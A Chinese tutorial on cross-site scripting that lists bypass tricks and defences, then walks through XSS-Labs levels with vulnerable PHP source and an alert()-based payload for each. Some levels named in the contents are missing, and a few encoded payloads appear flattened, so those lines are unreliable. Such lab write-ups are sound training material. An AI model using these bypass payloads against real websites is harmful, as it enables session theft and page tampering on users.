XSS介绍通关XSS-Labs靶场
目录
XSS
XSS的类型
1.存储型XSS(PXSS):
2. 反射型XSS(N-PXSS):
3. DOM型XSS:
4. 突变型XSS(mXSS):
5. 通用型XSS(UXSS):
危害
绕过
1. 绕过输入过滤
2.绕过输出编码
3. 绕过CSP(内容安全策略)
4. DOM型XSS绕过
5. 利用浏览器特性
6. 利用WAF(Web应用防火墙)规则缺陷
7. 利用第三方库漏洞
防御措施
1.输入过滤与输出编码:
2. 使用安全库:
3. 设置HTTP头:
4.定期安全测试:
XSS-Labs
XSS-Labs下载地址
level 1 基础XSS注入
源码
攻击Payload
level 2 HTML实体转义
源码
攻击Payload
level 3 onfocus事件绕过
源码
攻击Payload
level 4 onfocus事件绕过
源码
攻击Payload
level 5 过滤onfocuys事件
源码
攻击Payload
level 6 大小写绕过
源码
攻击Payload
level 7 双拼写绕过
源码
攻击Payload
level 8 Href属性自动解析 Unicode编码
源码
攻击Payload
level 9 注释绕过http://过滤
源码
攻击Payload
level 10 隐藏input标签绕过
源码
攻击Payload
level 11 HTTP Referer 头传参
源码
攻击Payload
level 12 User-Agent头传参
源码
攻击Payload
level 13 Cookie头传参
源码
攻击Payload
XSS
XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过注入恶意脚本到网页中,当其他用户访问该页面时,脚本会在其浏览器中执行,从而窃取信息、篡改内容或进行其他恶意操作。
XSS的类型
1.存储型XSS(PXSS):
恶意脚本被永久存储在服务器上(如数据库),当用户访问相关页面时,脚本从服务器加载并执行。
常见于用户输入内容(如评论、留言)未经过滤的场景,如论坛、博客、留言板等交互功能。
2. 反射型XSS(N-PXSS):
恶意脚本通过URL参数传递,服务器未过滤直接返回给用户,浏览器执行该脚本。
通常通过诱骗用户点击恶意链接,窃取 Cookie实施攻击。
3. DOM型XSS:
攻击利用客户端脚本(如JavaScript)动态修改页面DOM结构,恶意脚本通过URL或其他方式注入。
完全在客户端发生,发生在前端 JavaScript 解析阶段,不涉及服务器。
4. 突变型XSS(mXSS):
由于浏览器的 HTML 解析机制,导致原本安全的代码在渲染后变成 XSS 攻击代码。
通常应用于富文本编辑器、动态属性修改等。
5. 通用型XSS(UXSS):
通过利用浏览器或浏览器扩展的漏洞,突破同源策略,执行恶意代码。
影响范围更广,攻击者可以在多个网站上利用此漏洞。
危害
窃取用户数据:如Cookie、会话信息。
篡改网页内容:显示虚假信息或重定向到恶意网站。
传播恶意软件:通过脚本下载或安装恶意软件。
绕过
XSS Payload 绕过方式是指攻击者通过各种技巧绕过防护机制,成功注入并执行恶意脚本。以下是一些常见的绕过方式及其原理:
1. 绕过输入过滤
大小写混淆:防护机制可能只过滤特定大小写的标签或关键字,攻击者可以通过大小写混合绕过。
<sCriPt>alert(1)</sCriPt>
双写绕过:如果防护机制只替换一次关键字,攻击者可以通过双写绕过。
<scr<script>ipt>alert(1)</script>
编码绕过:使用URL编码、HTML实体编码或Unicode编码绕过过滤。
%3Cscript%3Ealert(1)%3C/script%3E /URL编码
<script>alert(1)</script> /HTML实体编码
特殊字符绕过:使用换行符、Tab符或其他不可见字符绕过过滤。
<script\t>alert(1)</script>
2.绕过输出编码
利用未编码的上下文:如果输出编码不完整,攻击者可以找到未编码的上下文注入Payload。
<a href="USER_INPUT"> /如果未对URL属性编码,可以注入`javascript:alert(1)`
利用HTML属性:如果输出编码未处理HTML属性,攻击者可以通过事件属性注入Payload。
<img src=x onerror=alert(1)>
利用JavaScript上下文:如果输出在JavaScript代码中,攻击者可以闭合字符串并注入Payload。
<script>var userInput = "USER_INPUT";</script> /注入`"; alert(1); //`
3. 绕过CSP(内容安全策略)
利用允许的域名:如果CSP允许加载特定域名的脚本,攻击者可以尝试在该域名上托管恶意脚本。
利用JSONP端点:如果CSP允许加载JSONP端点,攻击者可以利用JSONP回调函数执行恶意代码。
利用CSP配置错误:如果CSP配置不严格(如允许`unsafe-inline`或`unsafe-eval`),攻击者可以直接注入Payload。
4. DOM型XSS绕过
利用URL片段:DOM型XSS通常通过`location.hash`或`location.search`注入Payload。
https://example.com/#<img src=x onerror=alert(1)>
绕过DOM过滤:如果客户端脚本对输入进行了简单过滤,攻击者可以通过编码或特殊字符绕过。
eval(decodeURIComponent(USER_INPUT)) /注入`%61%6C%65%72%74%28%31%29`(即`alert(1)`的URL编码)
5. 利用浏览器特性
“SVG标签”:SVG标签支持JavaScript事件,可以绕过一些过滤机制。
<svg/onload=alert(1)>
HTML5新标签:使用HTML5新标签或属性绕过传统过滤规则。
<details open ontoggle=alert(1)>
动态属性:使用动态属性绕过静态过滤。
<img src=x [attributename]=alert(1)>
6. 利用WAF(Web应用防火墙)规则缺陷
分块传输:将Payload分块传输,绕过WAF的检测。
混淆Payload:使用复杂的编码或混淆技术绕过WAF的正则表达式检测。
利用WAF白名单:如果WAF对某些域名或路径放行,攻击者可以尝试在这些地方注入Payload。
7. 利用第三方库漏洞
jQuery漏洞:如果网站使用了旧版本的jQuery,攻击者可以利用已知漏洞绕过防护。
富文本编辑器漏洞:富文本编辑器(如TinyMCE、CKEditor)可能存在XSS漏洞,攻击者可以利用这些漏洞注入Payload。
防御措施
1.输入过滤与输出编码:
对用户输入进行严格过滤,输出时进行编码,防止脚本执行。
2. 使用安全库:
使用安全的库和框架,自动处理XSS防护。
3. 设置HTTP头:
使用`Content-Security-Policy`(CSP)限制脚本来源,减少XSS风险。
4.定期安全测试:
定期进行安全测试,及时发现并修复漏洞。
通过这些措施,可以有效降低XSS攻击的风险。
XSS-Labs
XSS-Labs下载地址
https://github.com/do0dl3/xss-labs
level 1 基础XSS注入
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
查看源码可知,GET传参name的值会被插入HTML代码中,并且未进行任何过滤
攻击Payload
name=<script>alert()</script>
alert()作为基础 XSS 测试手段,直接插入<script>标签即可执行 XSS.
level 2 HTML实体转义
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
第一处name参数会进行 HTML 实体转义,但第二处没有。需要闭合 "
以跳出属性值,插入 JS 代码。
攻击Payload
"> <script>alert()</script> <"
通过 "
闭合绕过 HTML 实体转义;观察哪些地方未被转义,寻找突破口。
level 5 过滤onfocuys事件
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
onfocus
被替换成 o_nfocus;
过滤了 <script>
、onfocus
,但 <a>
标签仍然可用。
攻击Payload
"> <a href=javascript:alert()>xxx</a> <"
利用 <a>
标签的 href
执行 JS 代码,但需确保 ‘"
’未被过滤,否则需额外绕过。
level 6 大小写绕过
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
str_replace()
过滤了常见 XSS 关键字,但未进行大小写转换
攻击Payload
"> <sCript>alert()</sCript> <"
str_replace()直接替换,但未考虑大小写,可用大小写绕过。
level 7 双拼写绕过
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
过滤了 script
,onfocus
等,并强制小写转换。
攻击Payload
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
通过双拼写绕过关键字删除,适用于 str_replace()
进行删除的情况。
level 8 Href属性自动解析 Unicode编码
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
过滤了 <script>
、onfocus
、href
,但 href
仍然解析 Unicode 编码。
攻击Payload
javascript:alert()
href会自动解析 Unicode 编码,适用于无法直接插入 javascript:
的情况。
level 9 注释绕过http://过滤
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
需要 http://
才能通过 strpos()
检测。
攻击Payload
javascript:alert()/* http:// */
先插入 http://
绕过检测,再用 /* */
注释掉。
level 10 隐藏input标签绕过
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
GET
传参 t_sort
可以绕过,但 <input>
被隐藏。
攻击Payload
?t_sort=" onfocus=javascript:alert() type="text
type="text"
使隐藏的 <input>
可见,从而触发事件。
相关文章:
XSS介绍通关XSS-Labs靶场
目录 XSS XSS的类型 1.存储型XSS(PXSS): 2. 反射型XSS(N-PXSS): 3. DOM型XSS: 4. 突变型XSS(mXSS): 5. 通用型XSS(UXSS)&#x…...
枚举的定义及其使用
在Java中,enum(枚举)是一个特殊的类,用于表示一组常量。enum类型在Java中提供了一种类型安全的方式来定义常量,相比传统的常量(如public static final变量),它更加简洁、类型安全&am…...
[特殊字符][特殊字符][特殊字符][特殊字符][特殊字符][特殊字符]壁紙 流光染墨,碎影入梦
#Cosplay #🧚♀️Bangni邦尼🐰. #📷 穹妹 Set.01 #后期圈小程序 琼枝低垂,霜花浸透夜色,风起时,微光轻拂檐角,洒落一地星辉。远山隐于烟岚,唯余一抹青黛,勾勒出天光水…...
996引擎-接口测试:消息Tips
996引擎-接口测试:消息Tips 发送视野内广播消息 sendrefluamsg发送聊天框消息 sendmsg发送地图消息 sendmapmsg打印消息到控制台 release_print发送自定义颜色的文字信息 guildnoticemsg测试NPC参考资料发送视野内广播消息 sendrefluamsg function npc_test_onclick1(player)-…...
Redis设计与实现-底层实现
Redis底层实现 1、事件1.1 文件事件1.2 时间事件1.3 事件调度 2、Redis客户端2.1 客户端的相关属性2.2 客户端的创建与关闭2.2.1 普通客户端的创建2.2.2 普通客户端的关闭2.2.3 AOF的伪客户端2.2.4 Lua脚本的伪客户端 3、Redis服务端3.1 命令请求的执行过程3.1.1 客户端发送命令…...
acwing1295. X的因子链
题目链接:1295. X的因子链 - AcWing题库 算法:数论线性筛法求素数 x如果想要尽可能多的分为几个因子,那么就应该分成素数,因为如果是合数说明还能分。 题目要求求出①这段序列的最大长度和②最大长度序列的个数 最大长度&#x…...
练习-班级活动(map存储键值对)
问题描述 小明的老师准备组织一次班级活动。班上一共有 n 名 (n 为偶数) 同学,老师想把所有的同学进行分组,每两名同学一组。为了公平,老师给每名同学随机分配了一个 n 以内的正整数作为 id,第 i 名同学的 id 为 ai。 老师希望…...
34-三数之和
给你一个整数数组 nums ,判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k ,同时还满足 nums[i] nums[j] nums[k] 0 。请你返回所有和为 0 且不重复的三元组。 注意:答案中不可以包含重复的三元组。 方法一&…...
Excel online开始支持Copilot高级数据分析:Python提供强大的数据见解
前文讲过Excel中的copilot可以直接调用Python进行高级数据分析: Copilot:Excel中的Python高级分析来了 Python in Excel高级分析:一键RFM分析 超越DeepSeek:Copilot in Excel高级数据分析原生支持Python无需安装软件 零代码、…...
【数据结构】kmp算法介绍+模板代码
目录 1.kmp算法介绍 2.应用场景 3.KMP与暴力算法比较 4.模板代码 KMP算法是一种高效的字符串匹配算法,用于在文本串中快速查找模式串的所有出现位置。其核心思想是通过预处理模式串,避免在匹配失败时进行不必要的回溯,从而将时间复杂度优…...
python关键字汇总
文章目录 1. 变量与类型相关2. 控制流相关3. 函数与类相关4. 异常处理相关5. 模块相关6. 其他 在 Python 3 里有 35 个关键字,它们各自具备特定的用途与意义 1. 变量与类型相关 True、False 意义:布尔类型的常量,分别代表逻辑真与逻辑假。示…...
六十天前端强化训练之第二十五天之组件生命周期大师级详解(Vue3 Composition API 版)
欢迎来到编程星辰海的博客讲解 看完可以给一个免费的三连吗,谢谢大佬! 目录 一、生命周期核心知识 1.1 生命周期全景图 1.2 生命周期钩子详解 1.2.1 初始化阶段 1.2.2 挂载阶段 1.2.3 更新阶段 1.2.4 卸载阶段 1.3 生命周期执行顺序 1.4 父子组…...
油候插件、idea、VsCode插件推荐(自用)
开发软件: 之前的文章: 开发必装最实用工具软件与网站 推荐一下我使用的开发工具 目前在用的 油候插件 AC-baidu-重定向优化百度搜狗谷歌必应搜索_favicon_双列 让查询变成多列,而且可以流式翻页 Github 增强 - 高速下载 github下载 TimerHo…...
R语言基于ggscitable包复现一篇3.5分的文章的连续变量交互效应(交互作用)的可视化图
交互作用效应(p for Interaction)在SCI文章中可以算是一个必杀技,几乎在高分的SCI中必出现,因为把人群分为亚组后再进行统计可以增强文章结果的可靠性,进行可视化后可以清晰的表明变量之间的关系。不仅如此,交互作用还可以使用来进…...
mac环境下chatwoot客服聊天docker本地部署+对接通义千问Qwen2.5
🚀 安装docker-desktop 🚀 定义一个.env环境变量文件docker-compose.yaml .env # Learn about the various environment variables at # https://www.chatwoot.com/docs/self-hosted/configuration/environment-variables/#rails-production-variables…...
mac上安装nvm及nvm的基本语法使用!!
种一棵树,最好是十年前,其次是现在!想要改变,从此刻开始,一切都不晚! 目录 nvm是什么?前提条件:安装homebrew如果系统已经有node版本:在mac上安装nvm:用nvm安…...
论文阅读:2024-NAACL Semstamp、2024-ACL (Findings) k-SemStamp
总目录 大模型安全相关研究:https://blog.csdn.net/WhiffeYF/article/details/142132328 Semstamp: A semantic watermark with paraphrastic robustness for text generation https://aclanthology.org/2024.naacl-long.226/ k-SemStamp: A Clustering-Based Semantic Wate…...
本地JAR批量传私服
在有网络隔离的环境下,Maven项目如果没有搭建私服就得把用到的通用组件通过U盘在每个组员间拷贝来拷贝去。非常的麻烦跟低效。搭建私服,如果通用组件很多的时候手工一个一个上传更是非常的麻烦跟低效; 我就遇上这问题,跟A公司合作…...
Linux上位机开发实战(camera视频读取)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 关于linux camera,一般都是认为是mipi camera,或者是usb camera。当然不管是哪一种,底层的逻辑都是v4l2&#x…...
OpenCV图像处理基础1
OpenCV 提供了丰富的图像处理和计算机视觉功能,包括图像读取、显示、颜色空间转换、滤波、边缘检测、轮廓检测等。 本章将介绍 OpenCV 的基本概念和常用功能。 图像的表示和处理 OpenCV 通过 NumPy 数组 来表示图像数据,每个图像就是一个多维数组,其中每个元素对应图像中的…...
Python Web 框架 Django、Flask 和 FastAPI 对比
在探索 Python Web 框架时,Django、Flask 和 FastAPI 无疑是最常被提及的名字。根据我们最新的 Python 开发者调查,这三大框架继续稳坐后端 Web 开发的热门宝座。它们均为开源项目,并且与 Python 的最新版本无缝兼容。然而,面对不…...
TISAX认证注意事项的详细介绍
TISAX(Trusted Information Security Assessment Exchange)认证的注意事项犹如企业在信息安全领域航行时必须遵循的灯塔指引,至关重要且不容忽视。以下是对TISAX认证注意事项的详尽阐述: 首先,企业需深入研读并理解TI…...
JavaScript |(六)DOM事件 | 尚硅谷JavaScript基础实战
学习来源:尚硅谷JavaScript基础&实战丨JS入门到精通全套完整版 笔记来源:在这位大佬的基础上添加了一些东西,欢迎大家支持原创,大佬太棒了:JavaScript |(六)DOM事件 | 尚硅谷JavaScript基础…...
【动态规划】详解混合背包问题
目录 1. 前置文章2. 题目3. 小结 1. 前置文章 本文前置文章: 【动态规划】详解 0-1背包问题【动态规划】详解完全背包问题【动态规划】详解分组背包问题【动态规划】详解多重背包问题 下面是三种背包模式的区别: 0 - 1 背包 是说:有 n 个…...
Nodejs 项目打包部署方式
方式一:PM2 一、准备工作 确保服务器上已安装 Node.js 环境建议使用 PM2 进行进程管理(需要额外安装) 二、部署步骤 1.首先在服务器上安装 PM2(推荐): npm install -g pm22.将项目代码上传到服务器&…...
银河麒麟操作系统的上下游版本判断
以下内容摘自《银河麒麟操作系统进阶应用》一书。 几百款Linux发行版之间并不是完全独立的,绝大多数Linux发行版可以追溯到几个关键的“祖先”发行版,其中最为人熟知的包括Debian、Fedora、Slackware和Arch Linux。这些“祖先”发行版又称“原始”发行版…...
Retrofit中scalars转换html为字符串
简介 在Retrofit中,如果你想直接获取HTML或其他文本格式的响应内容而不是将其映射到一个模型类,ScalarsConverterFactory 就派上用场了。ScalarsConverterFactory 是一个转换器工厂,它能够将响应体转换为Java基本类型如String、Integer或Byte…...
Java基础面试题学习
转换成自已的语言来回答,来源小林coding、沉默王二以及其它资源和自已改编。 1、概念 1、说一下Java的特点 我认为Java有很多特点 首先是平台无关性:Java可以实现一次编译到处运行,因为Java的编译器将源代码编译成字节码,使得该…...
# [RPA] 使用八爪鱼进行高效网页数据采集
在许多行业中,数据是核心资产。然而,虽然许多网站的文本内容可以免费访问,但手动一条一条采集,不仅耗时耗力,还容易出错。这种情况下,使用自动化工具来提高采集效率就显得尤为重要。本文将介绍 八爪鱼 这一…...
【工具变量】全国地级市地方ZF债务数据集(2014-2023年)
地方ZF债务是地方财政运作的重要组成部分,主要用于基础设施建设、公共服务及经济发展,是衡量地方财政健康状况的重要指标。近年来,我国地级市的地方ZF债务规模不断变化,涉及一般债务和专项债务等多个方面,对金融市场、…...
6.5840 Lab 3: Raft
论文很重要 raft-zh_cn/raft-zh_cn.md at master maemual/raft-zh_cn GitHub Part 3A: leader election (moderate) 十次test都过了 实现 Raft 的领导者选举和心跳机制(AppendEntries RPC,无日志条目)。第 3A 部分的目标是实现以下功能&am…...
DCDC36V同步降压 输出可调 2A电流恒压芯片SL1588H 替换LV3842
在当今电子设备飞速发展的时代,电源管理芯片的性能优劣直接关乎设备的稳定性与高效运行。对于诸多需要将 36V 电压进行同步降压、输出电压可调且稳定输出 2A 电流的应用场景,一款卓越的恒压芯片不可或缺。SL1588H 正凭借其领先的技术和出色的性能&#x…...
AH4953A双PMOS管深度解析:无线充系统的“高效开关”设计实践
AH4953 30v5A双PMOS管深度解析:无线充系统的“高效开关”设计实践 1. 产品定位与基础特性 AH4953A双通道P沟道MOSFET,专为无线充电、电源管理等高频开关场景优化。其核心优势体现在: • 高耐压低损耗:30V漏源电压(Vd…...
图数据库Neo4j和JDK安装与配置教程(超详细)
目录 前言 一、Java环境配置 (一)JDK的下载与安装 (二)JDK环境配置 (三)检测JDK17是否配置成功 二、Neo4j的安装与配置 (一)Neo4j的下载与安装 (二)N…...
现代美学工业风品牌海报徽标设计PSAI无衬线英文字体安装包 Moldin – Condensed Sans Serif Font
现代几何工业风品牌海报徽标设计无衬线英文字体安装包 Moldin — Condensed Sans Serif Font Moldin 是一个粗体浓缩的无衬线字体系列,旨在为显示和标题提供最大的影响。Moldin 有 6 种粗细可供选择,从常规到黑色,提供静态和可变格式&#x…...
Excel(函数进阶篇):FILTER函数全解读、XLOOKUP函数全解读、UNIQUE函数、数组与数组公式
目录 数组与数组函数office365中VLOOKUP函数的加强数组中的多条件判断FILTER函数详解用法概述函数语法 基础筛选多条件筛选进阶技巧结合动态数组 高级函数整合错误处理注意事项FILTER经典问题:一对多查询 XLOOKUP函数XLOOKUP基础用法XLOOKUP函数多条件匹配和双向查询…...
django入门教程之request和reponse【二】
接上节:入门【一】 再创建一个orders子应用,python manager.py startapp orders,orders目录中新建一个urls.py文件。结构如图: 通过上节课,我们知道在views.py文件中编写函数时,有一个默认入参request&…...
第十五次CCF-CSP认证(含C++源码)
第十五次CCF-CSP认证 小明上学满分思路 数据中心满分思路 小明放学满分题解 小明上学 题目链接 满分思路 其实题目看着长,但是做起来是非常好写的,其实主要原因在于,他的红绿灯的变化规律是一定的,而且小明路上的每次红绿灯情况…...
Excel处理控件Spire.XLS系列教程:C# 在 Excel 中添加或删除单元格边框
单元格边框是指在单元格或单元格区域周围添加的线条。它们可用于不同的目的,如分隔工作表中的部分、吸引读者注意重要的单元格或使工作表看起来更美观。本文将介绍如何使用 Spire.XLS for .NET 在 C# 中添加或删除 Excel 单元格边框。 安装 Spire.XLS for .NET E-…...
混合精度-基于torch内部
定义 混合精度训练是一种在深度学习模型训练过程中,同时使用不同精度数据类型(主要是单精度 FP32 和半精度 FP16)来进行计算和存储的技术。以下是具体介绍: 数据类型: 单精度(FP32)࿱…...
Ubuntu16.04网卡ens33找不到异常修复
重启网络 systemctl stop NetworkManager systemctl restart networking允许网络可用 连接网络 验证网络...
C++编译流程
编译器其实就是一个翻译器,把我们的文件内容翻译成机器能够看懂的指令,但如何合理翻译是核心。 C语言编译 需要经过以下几步: 词法分析:扫描代码,确定单词类型,比如是变量还是函数,是标识符还…...
人工智能:企业RAG方案
一、LangChain FAISS、Milvus / Weaviate介绍 在企业 RAG (Retrieval-Augmented Generation)方案中,LangChain FAISS 和 Milvus / Weaviate 都是用于向量检索(Vector Search)的核心工具。两者的核心区别在于 存储方…...
【Git流程最佳实践】 开发较大功能时应使用project branch
目录 背景和失败经验名词定义曾经使用project branch犯的错 建立project branch的必要性正确的使用project branch的方法 背景和失败经验 我们曾经使用过project branch,但是后来放弃了 名词定义 特性branch(特性分支): 在开发跨越新特性的时候会从主…...
线程的概念
目录 线程的概念 创建线程快速验证 物理内存管理 再谈页表 今天我们学习线程的概念 线程的概念 进程是一个指向起来的程序,进程内核数据结构代码和数据,线程称为指向流,执行粒度比进程要更细,是进程内部的一个执行分支&…...
firefly经典蓝牙和QProcess、QFileSystemWatcher记录
QProcess 默认不会启动一个 shell 来解析命令,而是直接调用操作系统的系统调用来启动外部程序。也就是通过fork一个子线程或者exec一个子进程来执行命令。 QProcess的参数模式 QProcess 需要明确指定命令的可执行文件路径或参数列表。 如果命令是一个可执行文件的路径…...
北斗设备启动流程与时长解析
北斗卫星导航系统作为我国自主研发的全球卫星导航系统,广泛应用于交通、通信、农业等多个领域。今天,我们就来详细探讨一下北斗设备的启动流程以及不同启动方式下的时长。 一、北斗设备的启动流程 北斗设备的启动流程可以分为以下几个关键步骤…...
PyTorch分布式训练中各节点如何通信
深度学习 文章目录 深度学习前言pytorch如何初始化分布式训练怎么知道要使用哪几台机器进行训练的如何根据标识进行初始化(init_method)如何获取进程的唯一标识rank如何实现数据如何分发 前言 同学们在处理分布式训练时经常会遇到以下几个疑问ÿ…...
又双叒叕Scrapy爬虫相关的面试题及详细解答
Scrapy是Python开发的一个快速、高层次的网络爬虫框架,专注于高效抓取网页并提取结构化数据。其核心设计基于异步处理机制,适合大规模数据采集任务。 文章目录 基础概念1. Scrapy框架的核心组件有哪些?架构与流程2. 描述Scrapy的工作流程核心组件详解3. 如何自定义Item Pipe…...
Docker与K8S是什么该怎么选?
用了很久的容器化,最近突然看到一个问题问: docker和K8S究竟有什么区别,到底该怎么选?我认真思考了一会,发现一时间还真说不明白,于是就研究了一段时间发布今天的博文! Docker vs Kubernetes&a…...